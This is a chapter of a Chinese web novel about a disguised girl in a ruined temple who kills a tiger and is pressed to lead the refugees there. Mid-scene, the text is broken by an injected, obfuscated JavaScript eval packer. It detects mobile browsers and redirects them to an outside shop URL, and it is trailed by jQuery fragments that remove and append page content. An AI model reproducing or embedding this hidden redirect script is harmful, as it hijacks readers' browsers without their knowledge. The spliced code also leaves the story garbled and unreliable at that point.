“别吵……本姑娘要睡觉……”


    闻歌闭着眼嘟囔，语速飞快，吐字含糊，翻个身又裹紧了破被子。


    窗外天光已大亮，破庙里众人早已起身忙碌。只有她这靠窗的角落，还沉浸在一片安宁里——如果忽略枕下那把桃木剑里，五个小鬼的窃窃私语的话。


    “鬼大，”稚嫩的声音压得极低，“咱们到底什么时候告诉主人，咱们的存在啊？”


    “直接蹦出来，站在她面前自我介绍呗！”憨厚的声音提议。


    “那还不把她吓死？”活泼的声音反对。


    “我们长得这么英俊，怎么会吓着她？”第四个声音不服气。


    “不行不行，”第五个声音谨慎，“万一吓着了，以后给咱们穿小鞋怎么办？”


    五个影子在桃木剑里挤来挤去，剑身在枕下微微颤动。


    “再吵……我灭了你们……”闻歌又嘟囔一句，眼睛都没睁。


    五个小鬼顿时噤声。


    半晌，鬼大才小声说：“等等吧……找个好时机……”


    这一等，就等到了日上三竿。


    闻歌是被一道专注的视线“盯”醒的。她一睁眼，就看见小姑娘趴在床边，双手托腮，眼睛睁得圆溜溜的，一眨不眨地看着她。


    “干嘛这么看着我？”闻歌揉揉眼睛，声音还带着睡意。


    “小哥，你醒了。”小姑娘歪着头，“我刚才看着看着，觉得你……像个姐姐。”


    闻歌心头一跳，面上却笑：“是吗？可我是男孩子哦。”


    “有点不像。”小姑娘依然认真地看着她，黑亮的眼睛里满是探究，“你的睫毛好长，皮肤也白，说话声音也好听……”


    “你呀，人小鬼大。”闻歌坐起身，伸手揉了揉小姑娘乱糟糟的头发，“一天到晚不知道在想什么。”


    小姑娘也不躲，反而凑近些：“小哥，你饿不饿？我去给你端饭。”


    不等闻歌回答，她已经蹦跳着跑到灶边，小心翼翼地端来一碗还温热的粥——说是粥，其实稀得能照见人影，里面飘着几片菜叶。


    “这么懂事。”闻歌接过碗，心里暖融融的。


    “小哥，”小姑娘在她身边坐下，小声说，“今晚我就睡这儿了。”


    闻歌一愣：“小丫呢？”


    “她说怕你了。”小姑娘压低声音，“说你半夜总说梦话，叽里咕噜不知道说什么‘鬼’话。她跟我换了位置，睡我那儿去了。”


    闻歌手一僵：“我说梦话了？”


    “嗯。”小姑娘点头，“说了好几回呢。我听见你说‘别吵’，‘灭了你们’什么的……”


    闻歌心中了然——定是那五个小鬼夜里聒噪。她面上却故作茫然：“我总觉得有什么东西在耳边嗡嗡嗡说个不停，吵得人睡不安稳。”


    “你太想家了。”小姑娘认真地说。


    想家？


    闻歌捧着碗，有一瞬间的恍惚。她想家吗？丞相府那个冰冷的家，还是皇宫那个囚笼般的“家”？她都不想。在这里，在这破庙里，穿着破鞋，端着破碗，想睡就睡，想起就起，一双脚走天下，一根棍闯四方——这才叫潇洒。


    可这些话不能说。她只能垂下眼，望着碗里稀薄的粥，长长叹了口气：“我命苦啊……”


    声音里带着恰到好处的哽咽。


    小姑娘立刻紧张起来：“小哥……”


    “日日夜夜，梦见爹娘的模样，”闻歌抬眼望向窗外，眼神空洞，“梦见伺候我的丫鬟，还有那个……那个经常被我欺负的黄公子。”


    她顿了顿，声音更低了：“那时我的生活多安逸，多幸福。爹娘说，等我考取功名，光耀门楣……可现在，什么都没了。”


    这话七分假三分真。假的是那些细节，真的是那种无家可归的飘零感。


    果然，小姑娘眼圈红了。她伸出小手，轻轻握住闻歌的手：“小哥，你没亲人，我也没亲人……要不，你以后就做我的亲哥哥吧？你去哪里，我就跟着你去哪里。”


    闻歌看着孩子真诚的眼睛，心里忽然有些愧疚。


    我是不是太坏了？她想着。动不动就装可怜，博同情，骗这么个单纯的孩子。


    可转念一想，自己虽说了谎，但待她是真心的。这乱世里，能互相取暖，也算一桩善事。


    “好。”闻歌反握住小姑娘的手，温声说，“我正好也想要个妹妹。以后，我就叫你小妹。”


    “小妹！”小姑娘眼睛亮了，开心地重复，“小哥，小妹——一听就是亲兄妹！”


    两人相视而笑。阳光从破窗棂照进来，在尘土飞扬的空气里投下一道光柱。


    “今天咱们找点什么乐子呢？”闻歌喝完粥，把碗放到一边。


    小妹眼睛一转：“小哥，你会打猎吗？”


    “打猎？”闻歌挑眉，“不会可以学啊。”


    心里想的却是：打猎？打人我都会。这世上，还真没多少本姑娘不会的事。


    “那咱们去后山打猎吧！”小妹跃跃欲试，“我见过大李哥打野兔，可厉害了！”


    “行。”闻歌爽快应下。


    两人说干就干。闻歌找来庙里公用的弓箭——一把粗制的木弓，几支秃了羽毛的箭。她又从墙角拿了把柴刀别在腰间，小妹则提了个竹筐，说是装猎物用。


    刚走到庙门口，就被李婆婆拦住了。


    “你们拿着弓箭，这是要干嘛去？”李婆婆看着两人这架势，眉头皱得能夹死蚊子。


    “我和小哥去打猎！”小妹抢着回答，小脸上满是兴奋。


    “打猎？”李婆婆声音都拔高了，“你们不要命了？后山有野兽，可不是闹着玩的！不许去！”


    闻歌上前一步，温声解释：“李婆婆，没关系的，我会照顾好小妹。”


    “你会照顾？”李婆婆急得跺脚，“那些野畜凶猛得很！去年王家庄的猎户，就是被野猪拱了，抬回来时肠子都流出来了！”


    这话说得血腥，小妹吓得缩了缩脖子。


    “李婆婆，你就爱管闲事。”张婆子不知什么时候凑了过来，阴阳怪气地说，“小哥这么能抓鱼，肯定也能打猎。你总拦着，他以后怎么自立？”


    小丫也跟过来帮腔：“就是。人家小哥本事大着呢，用不着咱们操心。”


    闻歌瞥了两人一眼。张婆子嘴角那抹幸灾乐祸的笑，小丫眼里闪过的算计，她都看得分明。这两人巴不得她进山遇险呢。


    “你们给我闭嘴！”李婆婆气得发抖，“没安好心的东西！”


    “李婆婆，”闻歌握住老人的手，认真地看着她，“您要相信我。我们就在山外围转转，不往深里去。遇到危险，我们立刻就跑。”


    “李婆婆，你就让我们去吧……”小妹也拉着李婆婆的衣角撒娇。


    两人软磨硬泡，李婆婆终于松了口：“……那你们千万小心，太阳落山前必须回来！”


    “知道啦！”


    话音未落，闻歌已拉着小妹跑出老远。


    李婆婆望着两人消失在林间的背影，忧心忡忡地叹了口气。身后，张婆子和小丫交换了个眼神，嘴角都浮起冷笑。


    后山深处有猛虎出没，她们是知道的。


    最好……让那“小哥”永远别回来了。


    一进山林，闻歌和小妹就把李婆婆的叮嘱抛到了脑后。


    起初还在外围转悠，可找了半天，只见到几只瘦巴巴的松鼠。小妹有些泄气：“小哥，是不是野兽都知道咱们要来，全躲起来了？”


    闻歌观察着地上的痕迹，摇头：“外围人迹多，野兽不敢来。咱们往深处走走。”


    “可李婆婆说……”


    “放心，有我在。”闻歌握住小妹的手。


    她的手温暖而稳定，小妹忽然就不怕了。


    两人往山林深处走去。参天古树遮天蔽日，阳光只能从枝叶缝隙漏下斑驳光点。地上积着厚厚的落叶，踩上去软绵绵的，寂静中只听见自己的脚步声和呼吸声。


    “小哥，”小妹越走越慢，小手紧紧抓着闻歌的衣角，“咱们是不是……迷路了？”


    周围景色越来越陌生。古树盘根错节，藤蔓垂落如帘，偶尔传来不知名鸟类的怪叫，在空旷的林间回荡。


    闻歌停下脚步，侧耳倾听。


    风声，鸟鸣，落叶的沙沙声……还有，极远处，某种沉重而规律的呼吸声。


    她蹲下身，仔细查看地面。松软的泥土上，有几个清晰的爪印——碗口大小，深深陷入土中，前端有五趾。


    虎爪印。


    闻歌心头一凛，面上却不动声色：“小妹，你听我说。接下来不管发生什么，你都不要出声，跟紧我，明白吗？”


    小妹被她严肃的语气吓到，用力点头。


    闻歌解下背上的弓，抽出一支箭搭在弦上。她拉着小妹，沿着爪印的方向，悄无声息地向前移动。


    每走一步，空气中的压迫感就重一分。林间的鸟鸣不知何时消失了，连风都静止了。一种被注视的感觉，从密林深处传来。


    “吼——”


    震耳欲聋的虎啸毫无预兆地炸开！


    树叶簌簌落下，地面仿佛都在震颤。密林深处，一双琥珀色的眼睛在阴影中亮起，接着是斑斓的皮毛，健硕的身躯——一头吊睛白额猛虎踱步而出，身长足有七八尺，肌肉在皮毛下起伏，每走一步都带着百兽之王的威压。


    小妹双腿一软，差点瘫倒在地。闻歌一把将她拉到身后，自己则挺直脊背，与猛虎对峙。


    虎目炯炯，锁定着眼前这两个闯入领地的人类。它伏低前身，喉中发出威胁的低吼，后腿肌肉绷紧——那是扑击的前兆。


    时间仿佛凝固了。


    闻歌屏住呼吸，手指稳稳扣住弓弦。她曾在皇家围场见过虎，也读过无数猎虎的记载，但真正面对面，这是第一次。


    不能慌。她告诉自己。虎扑击时，会有一个瞬间的腾空——那是唯一的机会。


    猛虎动了！


    它后腿猛蹬，庞大的身躯凌空跃起，带起腥风，直扑而来！


    就是现在！


    闻歌眼神一厉，弓弦瞬间拉满——“嗖！”


    箭矢破空，化作一道黑线，精准地没入猛虎颈侧！


    “吼——”猛虎发出一声痛苦的嘶吼，扑势一滞，重重摔在地上。它挣扎着想站起来，可箭矢伤到了要害，鲜血汩汩涌出，力气迅速流失。


    闻歌没有松懈。她又搭上一支箭，瞄准虎头，随时准备补上一击。


    但猛虎只是在地上抽搐了几下，琥珀色的眼睛渐渐失去神采，最终不动了。


    林间恢复了寂静。


    小妹从闻歌身后探出头，看着地上那只庞然大物，小嘴张成了圆形：“小、小哥……你……你射死了老虎？”


    闻歌这才松开弓弦，手心全是汗。她走到虎尸旁，蹲身查看。箭从颈侧入，贯穿咽喉，一击毙命—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992190|193764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —这是她多年练箭的成果，也是生死关头爆发出的潜能。


    “没事了。”她回头冲小妹笑笑，声音有些哑。


    小妹跑过来，紧紧抱住她的腰，哇的一声哭出来：“吓死我了……我还以为我们要被吃了……”


    闻歌轻轻拍着她的背，目光却落在密林深处。


    刚才那一箭，用了她七成功力。若在从前，这不算什么。可如今这身体……她看着自己微微发颤的手，心里清楚：皇后的人若真追来，现在的自己，未必能全身而退。


    四、名声初起


    闻歌和小妹拖着虎尸回到破庙时，太阳刚刚西斜。


    庙门口，李婆婆正焦急地张望。当她看清两人身后拖着的庞然大物时，整个人僵在原地，手里的木盆“哐当”掉在地上。


    “这、这是……”她声音发颤。


    “老虎！”大李闻声出来，倒吸一口凉气，“我的老天爷！小哥你……你打的？”


    破庙里的人全涌了出来。张婆子和小丫挤在人群里，看着那只死虎，脸色白得像纸。


    “真是老虎……”


    “这么大！”


    “小哥一个人打的？”


    “太神了……”


    众人议论纷纷，看向闻歌的眼神全变了——从前是好奇，是猜疑，现在则多了敬畏，甚至崇拜。


    闻歌把虎尸放在空地上，抹了把脸上的汗：“运气好，正巧射中了要害。”


    这话没人信。射中奔跑中的猛虎要害，岂是“运气”二字能解释的？


    当晚，破庙前燃起篝火。虎肉被分割开来，一部分当晚烤了吃，一部分用盐腌了储存。虎皮被完整剥下，晾在庙墙上，斑斓的花纹在火光中泛着油光。


    这是破庙建成以来，最丰盛的一晚。烤虎肉的香气飘出老远，连附近村庄的人都闻讯赶来，想看看打死猛虎的英雄。


    “听说是个少年郎，一箭射穿了老虎的脖子！”


    “真的假的？”


    “我亲眼看见的！那虎皮就挂在破庙墙上呢！”


    消息像长了翅膀，一夜之间传遍了玉郎县。


    从那天起，破庙的门槛几乎被踏破。四里八乡的难民、乞丐、甚至一些走投无路的贫民，都慕名而来。他们听说这里有个“小哥”，能抓鱼，能打虎，跟着他，或许能有条活路。


    短短几日，破庙里挤了不下五十人。原本清静的日子一去不复返，每天人声鼎沸，吵吵嚷嚷。


    人多了，问题也来了。粮食不够分，住处不够住，谁该干活，谁该休息，吵得不可开交。


    这日晚饭后，李婆婆把几个老人聚在一起，忧心忡忡地说：“再这样下去不行。人太多，没个规矩，迟早要乱。”


    大李点头：“是啊。昨天就有人为半碗粥打起来了。”


    “得立个规矩。”老陈头抽着旱烟，“推个首领出来，分配活儿计，定下章程。”


    这个提议很快传开了。


    “推选首领？”小丫眼睛一亮，“我觉得这个主意好！”


    张婆子也来了精神：“对，是该推个首领。无规矩不成方圆嘛。”


    两人心里都打起了小算盘——她们是本地人，在破庙待得久，说不定有机会。


    可当众人围坐下来，开始讨论时，风向却完全不对。


    “我直接推小哥！”一个刚来三天的汉子率先开口，“我就冲他来的！他能带咱们活下去！”


    “对！推小哥！”


    “我也支持小哥！”


    “除了他，还有谁配当这个首领？”


    呼声一浪高过一浪。新来的人几乎全站在闻歌这边——他们是慕名而来，自然希望“名”本人来领导。


    张婆子和小丫的脸色越来越难看。


    “等等！”张婆子站起来，提高声音，“小哥是外地人，对本地情况不熟悉。要我说，还是推个本地人合适。”


    稀稀拉拉有几个人附和——都是原先就在破庙的老人。


    小丫赶紧帮腔：“是啊。推选首领不是小事，要能统领全局才行。小哥年纪轻，怕是……不够稳重。”


    这话说得委婉，意思却明白：嫌闻歌太年轻，担不起责任。


    李婆婆看不下去了：“外地人怎么了？咱们这儿有什么需要特别熟悉的？能带大家活下去，能解决问题，这就是本事！小哥的能力，大家有目共睹！遇到事情，他点子多，总能化解——我看他就很合适！”


    两边争执不下。


    闻歌坐在人群外围，静静听着。火光映着她的侧脸，明暗交错。


    她本无意当什么首领。来破庙，只为暂时栖身，躲避追捕。等找到能拔神刀的人，或是寻到修仙的门路，她就会离开。


    可现在……看着那一张张期盼的脸，看着小妹紧紧挨着她的依赖模样，她忽然有些动摇。


    这乱世里，每个人都在挣扎求存。若她有能力，拉这些人一把，算不算一桩功德？


    可若真当了首领，责任就大了。这么多人的吃喝拉撒，安全生计，都要她来操心。更重要的是——一旦成了“头儿”，目标就大了，皇后那边……


    正思忖间，庙门外忽然传来喧哗声。


    一个满身血污的汉子跌跌撞撞冲进来，嘶声喊道：“不好了！官兵……官兵来抓人了！说咱们这儿聚众闹事，要全部抓走！”


    破庙里瞬间死寂。


    所有人的目光，齐刷刷投向闻歌。